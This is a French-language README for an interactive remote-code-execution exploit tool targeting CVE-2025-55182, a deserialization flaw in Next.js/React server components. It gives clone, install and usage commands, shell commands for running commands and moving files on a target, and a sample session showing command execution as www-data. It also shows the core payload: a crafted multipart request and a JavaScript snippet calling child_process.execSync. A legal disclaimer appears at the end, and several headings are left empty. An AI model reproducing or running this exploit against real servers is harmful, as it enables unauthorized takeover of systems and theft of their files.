Exploit RCE interactif pour CVE-2025-55182 ciblant la vulnérabilité de désérialisation des composants serveur Next.js/React. Fonctionnalités : détection automatique, exécution de commandes, transfert de fichiers et un shell intégré avec historique et auto-complétion.
Base utilisée à partir de : https://github.com/Emiyelbarto/CVE-2025-55182-PoC Merci beaucoup pour cette excellente contribution.
CVE-2025-55182 est une vulnérabilité de désérialisation dans les composants serveur Next.js/React qui permet à des attaquants distants non authentifiés d'exécuter du code arbitraire sur les serveurs affectés. La vulnérabilité provient d'une gestion incorrecte des données sérialisées dans les actions serveur React.
requests# Cloner le dépôt
git clone https://github.com/yourusername/hokma.git
cd hokma
# Installer les dépendances
pip install requests
# Rendre le script exécutable (optionnel)
chmod +x hokma.py
# Démarrer le shell interactif
python hokma.py
# Vérifier uniquement la vulnérabilité
python hokma.py -u http://target.com --check
# Exécuter une seule commande
python hokma.py -u http://target.com -c "whoami"
help Afficher ce message d'aide
set URL <url> Définir l'URL cible
set ID <action_id> Définir l'ID d'action (par défaut : user-profile-action)
show Afficher les options actuelles
check [url] Vérifier si la cible est vulnérable
exploit <commande> Exécuter une commande sur la cible
shell Démarrer un shell de commande interactif
test Exécuter des commandes de test (id, whoami, etc.)
upload <local> <dist> Téléverser un fichier local vers la cible
download <dist> <local> Télécharger un fichier distant (encodé en base64)
clear Effacer l'écran
exit/quit Quitter le shell
$ python hokma.py
____ _ ____ _ _ _
| _ \ ___ __ _ ___| |_ / ___|| |__ ___| | |
| |_) / _ \/ _` |/ __| __| \___ \| '_ \ / _ \ | |
| _ < __/ (_| | (__| |_ ___) | | | | __/ | |
|_| \_\___|\__,_|\___|\__| |____/|_| |_|\___|_|_|
Exploit RCE des composants serveur React (CVE-2025-55182)
Shell interactif - Tapez 'help' pour les commandes
hokma> set URL http://app-vulnerable.com
[+] URL définie sur : http://app-vulnerable.com
hokma> check
[*] Vérification de la vulnérabilité sur la cible : http://app-vulnerable.com...
[+] LA CIBLE EST VULNÉRABLE !
hokma> exploit whoami
[*] Exécution de la commande : whoami
[*] Le serveur a répondu avec le statut : 200
--- SORTIE DE LA COMMANDE ---
www-data
----------------------
hokma> shell
[*] Démarrage du shell inversé. Utilisez 'exit' pour revenir.
[*] Entrez les commandes à exécuter sur la cible :
cmd> pwd
[*] Exécution de la commande : pwd
--- SORTIE DE LA COMMANDE ---
/var/www/html
----------------------
cmd> exit
| Option | Valeur par défaut | Description |
|---|---|---|
| URL cible | Aucune | URL de l'application vulnérable |
| ID d'action | user-profile-action | ID de l'action serveur ciblée |
| Délai d'attente | 3 secondes | Délai d'attente des requêtes |
L'outil envoie une requête multipart spécialement conçue qui provoque un crash sur les systèmes vulnérables :
["$1:a:a"] avec un objet vide {}child_process.execSync() pour exécuter des commandes systèmeconst cmd = "COMMANDE";
return import('child_process').then(cp => {
try {
const output = cp.execSync(cmd).toString();
return output;
} catch(e) {
return "Échec de l'exécution de la commande : " + e.message;
}
});
AVIS JURIDIQUE IMPORTANT
Cet outil est destiné à :
N'UTILISEZ PAS cet outil contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation explicite de test. L'accès non autorisé à des systèmes informatiques est illégal et contraire à l'éthique.
Les développeurs ne sont pas responsables de toute utilisation abusive de cet outil. Les utilisateurs doivent se conformer à toutes les lois applicables et obtenir une autorisation appropriée avant de tester.
Exigences relatives à la cible :
Limitations de détection :
Contraintes d'exploitation :